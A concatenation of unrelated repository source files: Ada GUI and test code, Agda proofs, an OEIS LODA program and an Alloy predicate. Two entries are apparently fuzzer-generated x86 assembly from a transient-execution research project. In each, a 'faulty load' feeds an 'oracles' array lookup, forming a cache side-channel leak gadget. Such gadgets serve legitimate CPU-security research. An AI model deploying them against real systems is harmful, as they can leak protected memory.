-- This procedure is called by the child packages of Osint.
-- A check is made that this procedure is not called several times.
function More_Files return Boolean;
-- Implements More_Source_Files and More_Lib_Files
function Next_Main_File return File_Name_Type;
-- Implements Next_Main_Source and Next_Main_Lib_File
function Object_File_Name (N : File_Name_Type) return File_Name_Type;
-- Constructs the name of the object file corresponding to library
-- file N. If N is a full file name than the returned file name will
-- also be a full file name. Note that no lookup in the library file
-- directories is done for this file. This routine merely constructs
-- the name.
procedure Write_Info (Info : String);
-- Implementation of Write_Binder_Info, Write_Debug_Info and
-- Write_Library_Info (identical)
end Osint;
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1058.asm | ljhsiun2/medusa | 9 | 81470 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %rax
push %rdi
push %rdx
lea addresses_UC_ht+0x14857, %rdi
nop
add %r8, %r8
movw $0x6162, (%rdi)
nop
nop
nop
nop
nop
cmp %r14, %r14
lea addresses_WT_ht+0x182b, %rax
dec %rdx
mov $0x6162636465666768, %r15
movq %r15, (%rax)
nop
nop
nop
nop
xor $40206, %r8
pop %rdx
pop %rdi
pop %rax
pop %r8
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %rax
push %rdi
// Faulty Load
lea addresses_UC+0x1b547, %r13
nop
nop
nop
nop
cmp $23426, %r14
mov (%r13), %r15w
lea oracles, %r14
and $0xff, %r15
shlq $12, %r15
mov (%r14,%r15,1), %r15
pop %rdi
pop %rax
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 2}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
oeis/052/A052988.asm | neoneye/loda-programs | 11 | 105141 | <reponame>neoneye/loda-programs<filename>oeis/052/A052988.asm
; A052988: Expansion of (1-x^2)/(1-2x-2x^2+x^3+x^4).
; Submitted by <NAME>
; 1,2,5,13,33,85,218,560,1438,3693,9484,24356,62549,160633,412524,1059409,2720684,6987029,17943493,46080951,118341175,303913730,780485366,2004376066,5147467959,13219288954,33948652394,87184038671,223898625217,574997386428,1476659332225,3792230773418,9738884199641,25010573227465,64230024748569,164950080979009,423610754028050,1087881072038084,2793803546404690,7174808401878489,18425732070500224,47319396326314652,121521644845346573,312081541870943737,801461245035765744,2058244532641757737
lpb $0
sub $0,1
sub $3,$4
add $1,$3
add $2,$3
add $4,1
add $4,$2
mov $5,$4
mov $4,$2
mov $2,$3
add $4,$1
add $5,$4
mov $3,$5
lpe
mov $0,$3
add $0,1
|
src/Examples/TestCall.agda | Zalastax/thesis | 1 | 17 | <gh_stars>1-10
module Examples.TestCall where
open import Prelude
open import Libraries.SelectiveReceive
open import Libraries.Call
open SelRec
AddReplyMessage : MessageType
AddReplyMessage = ValueType UniqueTag ∷ [ ValueType ℕ ]ˡ
AddReply : InboxShape
AddReply = [ AddReplyMessage ]ˡ
AddMessage : MessageType
AddMessage = ValueType UniqueTag ∷ ReferenceType AddReply ∷ ValueType ℕ ∷ [ ValueType ℕ ]ˡ
Calculator : InboxShape
Calculator = [ AddMessage ]ˡ
calculatorActor : ∀ {i} → ∞ActorM (↑ i) Calculator (Lift (lsuc lzero) ⊤) [] (λ _ → [])
calculatorActor = loop
where
loop : ∀ {i} → ∞ActorM i Calculator (Lift (lsuc lzero) ⊤) [] (λ _ → [])
loop .force = receive ∞>>= λ {
(Msg Z (tag ∷ _ ∷ n ∷ m ∷ [])) → do
Z ![t: Z ] ((lift tag) ∷ [ lift (n + m) ]ᵃ )
strengthen []
loop
; (Msg (S ()) _) }
TestBox : InboxShape
TestBox = AddReply
calltestActor : ∀ {i} → ∞ActorM i TestBox (Lift (lsuc lzero) ℕ) [] (λ _ → [])
calltestActor .force = spawn∞ calculatorActor ∞>> do
x ← call [] Z Z 0
((lift 10) ∷ [ lift 32 ]ᵃ)
⊆-refl Z
strengthen []
return-result x
where
return-result : SelRec TestBox (call-select 0 ⊆-refl Z) →
∀ {i} → ∞ActorM i TestBox (Lift (lsuc lzero) ℕ) [] (λ _ → [])
return-result record { msg = (Msg Z (tag ∷ n ∷ [])) } = return n
return-result record { msg = (Msg (S x) x₁) ; msg-ok = () }
|
src/nso-types-report_objects.adb | SSOCsoft/Log_Reporter | 0 | 25142 | With
NSO.Helpers,
Ada.Strings.Fixed,
Ada.Calendar.Formatting,
Ada.Tags,
Gnoga.Types.Colors,
Gnoga.Gui.View,
Ada.Text_IO,
Report_Form
;
WITH
Ada.Tags,
Ada.Text_IO;
with
Gnoga.Gui.Base;
with Gnoga.Gui.Element.Form;
Package Body NSO.Types.Report_Objects is
Use NSO.Helpers;
DEBUGGING : Constant Boolean := False;
Package Body Generic_Form_Entry is
Package Body Components is
Procedure Place_Items is
Begin
-- In order to have a uniform and orderly placement, we place
-- the first item of the Tuple, then place all remaining items
-- 'after' it, finally placing the trash-icon.
Tuple(Tuple'First).Place_Inside_Bottom_Of( Form_Entry );
For Index in Positive'Succ(Tuple'First)..Tuple'Last Loop
Tuple(Index).Place_After( Tuple(Positive'Pred(Index)).All );
End loop;
Trash.Place_After( Tuple(Tuple'Last).All );
End Place_Items;
Procedure Set_Attributes is
Begin
-- Set the attributes of the Tuple's items:
-- * Transparent background,
-- * Read-only,
-- * uniform width.
For Item of Tuple loop
Gnoga.Gui.Element.Form.Read_Only(
Value => True,
Element => Gnoga.Gui.Element.Form.Form_Element_Type(Item.All)
);
Item.Minimum_Width(Unit => "em", Value => 11);
Item.All.Background_Color(Value => "transparent");
End loop;
End Set_Attributes;
-- And here we ensure we set all the tuple's items to Dynamic.
Begin
For Item of Tuple loop
Item.Dynamic;
End loop;
End Components;
Procedure Finalize (Object : in out Instance) is
Begin
-- ADD TO FORM --
Form_Entry.Place_Inside_Bottom_Of( Form );
End Finalize;
Function Index( Input : String ) return String is
( Left_Bracket & Input & Right_Bracket );
Function Name( Input : String ) return String is
(Report.Get_Name & Indices & Index(Input));
-- Initalization: We ensure the DIV is marked dynamic, as well as Trash,
-- then we create the record's label and the Trash-icon, finally we set
-- all the attributes for the DIV as well as the trash-icon.
Begin
-- SET DYNAMIC --
Form_Entry.Dynamic;
Trash.Dynamic;
-- CREATE FORM INPUTS --
Form_Entry.Create(
Parent => Form,
Content => (if Label'Length not in Positive then "" else
"<span><b>Report for: </b>"& Label &"</span>")
);
Trash.Create(Form_Entry, URL_Source => "/img/Trashcan-2.png",
Alternative_Text => "Trash");
-- SET ATTRIBUTES --
Form_Entry.Style("background-image", "linear-gradient(to right, lightgray, dimgray)");
Form_Entry.Border_Radius( "1ex" );
Form_Entry.Border(Width => "thin", Color => Gnoga.Types.Colors.Dark_Grey);
Trash.Attribute(Name => "Align", Value => "Top");
Trash.Attribute(Name => "OnClick", Value => "return this.parentNode.remove();");
Trash.Style("max-width", "3ex");
Trash.Style("max-height", "3ex");
End Generic_Form_Entry;
-- Dispatcher.
Procedure Add_to_Form(
Self : in Abstract_Report'Class;
Form : in out Gnoga.Gui.Element.Form.Form_Type'Class
) is
Begin
Self.Add_Self( Form );
End Add_to_Form;
Procedure Start_Drag (Object : in out Gnoga.Gui.Base.Base_Type'Class) is
Begin
if DEBUGGING then
Ada.Text_IO.Put_Line( "----START_DRAG----" );
end if;
End Start_Drag;
procedure Do_It (Object : in out Gnoga.Gui.Base.Base_Type'Class) is
Begin
Null; -- Ada.Text_IO.Put_Line( "----DRAGGING----" );
End Do_It;
-- procedure Do_Drop(
-- --Object : in out Gnoga.Gui.Base.Base_Type'Class;
-- Object : in out Weather_Report'Class;
-- X, Y : in Integer;
-- Drag_Text : in String
-- ) is
-- --Tag : String renames Ada.Tags.Expanded_Name( Object'Tag );
-- Begin
-- if DEBUGGING then
-- Ada.Text_IO.Put( "----DO_DROP:" );
-- --Ada.Text_IO.Put( Tag );
-- Ada.Text_IO.Put( "----" );
-- ada.Text_IO.New_Line;
-- end if;
-- End Do_Drop;
-- procedure Create (Report : in out Weather_Report;
-- Parent : in out Gnoga.Gui.Base.Base_Type'Class;
-- Content : in String := "";
-- ID : in String := "" ) is
-- Block : Gnoga.Gui.Element.Common.DIV_Type;
-- Function Get_View( Object : Gnoga.Gui.Base.Pointer_To_Base_Class;
-- Hops : Natural := 200
-- ) return Gnoga.Gui.View.View_Access is
-- use Gnoga.Gui.View;
-- Begin
-- Return (if Object.all in View_Type'Class then View_Access(Object)
-- else Get_View(Object.Parent, Natural'Pred(Hops)));
-- End Get_View;
--
-- Begin
-- Gnoga.Gui.Element.Common.DIV_Type(Report).Create(Parent, ID);
-- if DEBUGGING then
-- Ada.Text_IO.Put_Line("*****CREATING REPORT DIVISION*****");
-- end if;
--
-- Declare
-- Temp : Gnoga.Gui.Element.Form.Form_Type;
-- Begin
-- Temp.Create(Parent);
-- Weather_Div( Report, Temp );
--
--
-- Block.Create(Report, "<b><tt>Weather Report</tt></b>");
-- Block.Style( "font-variant", "small-caps" );
-- Block.Style( "padding-left", "1ex" );
-- Block.Style( "margin-bottom", "0.7ex" );
-- Block.Background_Color("lightgray");
-- Block.Border(Width => "thin", Color => Gnoga.Types.Colors.Dark_Grey);
-- Block.Border_Radius("1ex");
-- Block.Place_Inside_Top_Of( Report );
--
-- Temp.Place_Inside_Bottom_Of( Get_View(Report.Parent).all );
-- End;
--
-- End Create;
Procedure Generic_Create(Report : in out UI_Report_Div;
Parent : in out Gnoga.Gui.Base.Base_Type'Class;
Content : in String := "";
ID : in String := "" ) is
Block : Gnoga.Gui.Element.Common.DIV_Type;
Function Get_View( Object : Gnoga.Gui.Base.Pointer_To_Base_Class;
Hops : Natural := 200
) return Gnoga.Gui.View.View_Access is
use Gnoga.Gui.View;
Begin
Return (if Object.all in View_Type'Class then View_Access(Object)
else Get_View(Object.Parent, Natural'Pred(Hops)));
End Get_View;
Begin
-- This up-casts the report to a DIV and calls its Create function.
Gnoga.Gui.Element.Common.DIV_Type(Report).Create(Parent, ID);
if DEBUGGING then
Ada.Text_IO.Put_Line("*****CREATING "&Name&"-REPORT DIVISION*****");
end if;
Declare
Temp : Gnoga.Gui.Element.Form.Form_Type;
Begin
Temp.Create(Parent);
Populate_Div( Report, Temp );
-- Set common DIV styling.
-- (Note: Was at the start of the *_DIV procedures, for weather & observation.)
Report.Draggable( True );
Report.On_Drag_Start_Handler(
Drag_Text => Report.Get_Name,
Handler => Report.Drag_Start
);
Report.Cursor( "grab" );
Report.Minimum_Width (Unit => "ex", Value => 40);
Report.Minimum_Height(Unit => "ex", Value => 06);
Report.Style(Name => "display", Value => "INLINE-BLOCK");
Block.Create(Report, "<b><tt>"& Name &" Report</tt></b>");
Block.Style( "font-variant", "small-caps" );
Block.Style( "padding-left", "1ex" );
Block.Style( "margin-bottom", "0.7ex" );
Block.Background_Color("lightgray");
Block.Border(Width => "thin", Color => Gnoga.Types.Colors.Dark_Grey);
Block.Border_Radius("1ex");
Block.Place_Inside_Top_Of( Report );
Temp.Place_Inside_Bottom_Of( Get_View(Report.Parent).all );
End;
End Generic_Create;
Function Object_Filter(Input : JSON.Instance'Class) return JSON.Instance'Class is
Use NSO.JSON;
Begin
if Input in Object_Object then
Declare
Object : Object_Object renames Object_Object(Input);
Element : Instance'Class renames Object.Value( Name );
Begin
return Element;
End;
else
raise Program_Error with Ada.Tags.Expanded_Name(Input'Tag) &
" is not supported, parameter must be a JSON Object type.";
end if;
Exception
when Constraint_Error => -- Raised when the report does not exist.
Return Make_Object;
--JSON_Class_Input( NSO.Types."+"("{}") );
End Object_Filter;
Function Process_Date_Time(Data : JSON.Instance'Class) return Date_Time_Map.Map is
Use JSON;
--Result : Date_Time_Map.Map := Date_Time_Map.Empty_Map;
Function Filter is new Object_Filter( Report_Name );
procedure Process_Date(Date : String; Value : Instance'Class) is
Procedure Process_Time(Time : String; Value : Instance'Class) is
Time_String : Constant String := Date & ' ' & Time & ":00";
Date_Time : Constant Ada.Calendar.Time :=
Ada.Calendar.Formatting.Value(Time_String);
Procedure Do_Process is new Apply(
On_Null => On_Null,
On_Boolean => On_Boolean,
On_String => On_String,
On_Number => On_Number,
On_Array => On_Array,
On_Object => On_Object
);
Begin
if not Result.Contains( Date_Time ) then
Result.Include(Date_Time, Default);
end if;
Current := Result.Find(Date_Time);
Do_Process( Value );
End Process_Time;
Procedure Do_Process is new Apply(On_Object => Process_Time);
Begin
Do_Process( Value );
End Process_Date;
Procedure Do_Process is new Apply(On_Object => Process_Date);
Begin
Result := Date_Time_Map.Empty_Map;
Current:= Date_Time_Map.No_Element;
Do_Process( Object => (if Report_Name'length not in Positive then Data
else Filter(Data) ));
Return Result;
End Process_Date_Time;
Package Body Date_Time_Indexed_Report is
Use Ada.Calendar.Formatting;
Function Time_String(Time : Ada.Calendar.Time:= Ada.Calendar.Clock) return String is
Use Ada.Strings.Fixed, Ada.Strings;
Time_Image : String renames Image( Time );
Space : Natural renames Index(Time_Image, " ", Time_Image'First);
Colon : Natural renames Index(Time_Image, ":", Time_Image'Last, Going => Backward);
Begin
Return Result : Constant String :=
Time_Image( Positive'Succ(Space)..Positive'Pred(Colon) );
End Time_String;
Function Date_String(Time : Ada.Calendar.Time:= Ada.Calendar.Clock) return String is
Use Ada.Strings.Fixed, Ada.Strings;
Time_Image : String renames Image( Time );
Space : Natural renames Index(Time_Image, " ", Time_Image'First);
Begin
Return Result : Constant String :=
Time_Image( Time_Image'First..Positive'Pred(Space) );
End Date_String;
Procedure Date_Time_Div(
Object : in out Date_Time_Report'Class;
Form : in out Gnoga.Gui.Element.Form.Form_Type'Class
) is
Begin
null;
End Date_Time_Div;
End Date_Time_Indexed_Report;
Function Debug_Action_Event return Gnoga.Gui.Base.Action_Event is
( Start_Drag'Access );
End NSO.Types.Report_Objects;
|
Numbers/Naturals/Order/WellFounded.agda | Smaug123/agdaproofs | 4 | 11631 | {-# OPTIONS --warning=error --safe --without-K #-}
open import LogicalFormulae
open import Orders.WellFounded.Definition
open import Numbers.Naturals.Semiring
open import Numbers.Naturals.Order
open import Semirings.Definition
module Numbers.Naturals.Order.WellFounded where
open Semiring ℕSemiring
<NWellfounded : WellFounded _<N_
<NWellfounded = λ x → access (go x)
where
lemma : {a b c : ℕ} → a <N b → b <N succ c → a <N c
lemma {a} {b} {c} (le y succYAeqB) (le z zbEqC') = le (y +N z) p
where
zbEqC : z +N b ≡ c
zSuccYAEqC : z +N (succ y +N a) ≡ c
zSuccYAEqC' : z +N (succ (y +N a)) ≡ c
zSuccYAEqC'' : succ (z +N (y +N a)) ≡ c
zSuccYAEqC''' : succ ((z +N y) +N a) ≡ c
p : succ ((y +N z) +N a) ≡ c
p = identityOfIndiscernablesLeft _≡_ zSuccYAEqC''' (applyEquality (λ n → succ (n +N a)) (commutative z y))
zSuccYAEqC''' = identityOfIndiscernablesLeft _≡_ zSuccYAEqC'' (applyEquality succ (+Associative z y a))
zSuccYAEqC'' = identityOfIndiscernablesLeft _≡_ zSuccYAEqC' (succExtracts z (y +N a))
zSuccYAEqC' = identityOfIndiscernablesLeft _≡_ zSuccYAEqC (applyEquality (λ r → z +N r) refl)
zbEqC = succInjective zbEqC'
zSuccYAEqC = identityOfIndiscernablesLeft _≡_ zbEqC (applyEquality (λ r → z +N r) (equalityCommutative succYAeqB))
go : ∀ n m → m <N n → Accessible _<N_ m
go zero m (le x ())
go (succ n) zero mLessN = access (λ y ())
go (succ n) (succ m) smLessSN = access (λ o (oLessSM : o <N succ m) → go n o (lemma oLessSM smLessSN))
|
src/libraries/Rewriters_Lib/tests/test_rewriters_lib.adb | Fabien-Chouteau/Renaissance-Ada | 1 | 13743 | <filename>src/libraries/Rewriters_Lib/tests/test_rewriters_lib.adb
with AUnit.Reporter.Text;
with AUnit.Run;
with Rewriters_Lib_Suite; use Rewriters_Lib_Suite;
procedure Test_Rewriters_Lib is
procedure Runner is new AUnit.Run.Test_Runner (Suite);
Reporter : AUnit.Reporter.Text.Text_Reporter;
begin
Runner (Reporter);
end Test_Rewriters_Lib;
|
alloy4fun_models/trashltl/models/9/Dz8euAEkiEPsLjEyZ.als | Kaixi26/org.alloytools.alloy | 0 | 1112 | open main
pred idDz8euAEkiEPsLjEyZ_prop10 {
always (Protected in Protected')
}
pred __repair { idDz8euAEkiEPsLjEyZ_prop10 }
check __repair { idDz8euAEkiEPsLjEyZ_prop10 <=> prop10o } |
src/GBA.Allocation.adb | 98devin/ada-gba-dev | 7 | 3474 | <filename>src/GBA.Allocation.adb<gh_stars>1-10
-- Copyright (c) 2021 <NAME>
-- zlib License -- see LICENSE for details.
package body GBA.Allocation is
package body Stack_Arena is
begin
Init_Arena (Storage);
end Stack_Arena;
end GBA.Allocation; |
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_960.asm | ljhsiun2/medusa | 9 | 14526 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x19480, %r9
nop
nop
nop
nop
xor %r14, %r14
and $0xffffffffffffffc0, %r9
vmovntdqa (%r9), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %rcx
cmp $31237, %r10
lea addresses_D_ht+0xa800, %r9
nop
nop
nop
dec %r14
movl $0x61626364, (%r9)
add %rax, %rax
lea addresses_WC_ht+0x48ac, %rsi
lea addresses_WT_ht+0x0, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp %r13, %r13
mov $99, %rcx
rep movsq
nop
xor $43320, %rax
lea addresses_WC_ht+0x1d800, %r13
nop
nop
nop
nop
and %rdi, %rdi
vmovups (%r13), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %rcx
nop
nop
nop
nop
cmp $21087, %r13
lea addresses_WT_ht+0x9410, %rsi
lea addresses_D_ht+0x1a80, %rdi
nop
xor $63631, %r13
mov $9, %rcx
rep movsl
nop
nop
nop
nop
nop
add %r9, %r9
lea addresses_normal_ht+0xa520, %rdi
cmp $33765, %r13
mov (%rdi), %r9w
nop
inc %rdi
lea addresses_normal_ht+0x5312, %r10
nop
nop
nop
dec %r9
movb (%r10), %r13b
nop
nop
nop
nop
cmp $26686, %r9
lea addresses_UC_ht+0x5c38, %r10
nop
nop
nop
nop
add %r9, %r9
mov (%r10), %r14d
nop
nop
sub %rax, %rax
lea addresses_A_ht+0x13600, %r10
nop
nop
nop
xor %rsi, %rsi
mov (%r10), %rdi
sub %r9, %r9
lea addresses_UC_ht+0x1ba8, %rax
nop
nop
nop
nop
nop
cmp %rdi, %rdi
mov $0x6162636465666768, %r9
movq %r9, (%rax)
nop
nop
nop
nop
nop
inc %rdi
lea addresses_WT_ht+0x19b00, %r9
clflush (%r9)
nop
nop
nop
inc %rdi
vmovups (%r9), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r10
nop
nop
nop
nop
nop
cmp $837, %rsi
lea addresses_D_ht+0x14460, %rdi
nop
nop
nop
dec %rax
mov (%rdi), %esi
nop
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0x1d940, %rsi
lea addresses_A_ht+0xf854, %rdi
nop
nop
nop
nop
cmp $20945, %r10
mov $44, %rcx
rep movsl
nop
nop
nop
xor %rdi, %rdi
lea addresses_D_ht+0x3030, %rsi
lea addresses_UC_ht+0x1c500, %rdi
clflush (%rsi)
clflush (%rdi)
dec %r10
mov $105, %rcx
rep movsl
nop
add %rdi, %rdi
lea addresses_UC_ht+0x1ceb8, %rsi
lea addresses_D_ht+0x17f9a, %rdi
clflush (%rsi)
nop
nop
nop
dec %r13
mov $37, %rcx
rep movsb
nop
nop
dec %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %r9
push %rcx
push %rdi
push %rdx
// Store
lea addresses_UC+0x11100, %rdx
nop
nop
nop
sub $47492, %r8
movw $0x5152, (%rdx)
add $44839, %r12
// Faulty Load
lea addresses_D+0x4000, %rdi
nop
cmp %rcx, %rcx
movntdqa (%rdi), %xmm6
vpextrq $0, %xmm6, %rdx
lea oracles, %r10
and $0xff, %rdx
shlq $12, %rdx
mov (%r10,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 6, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 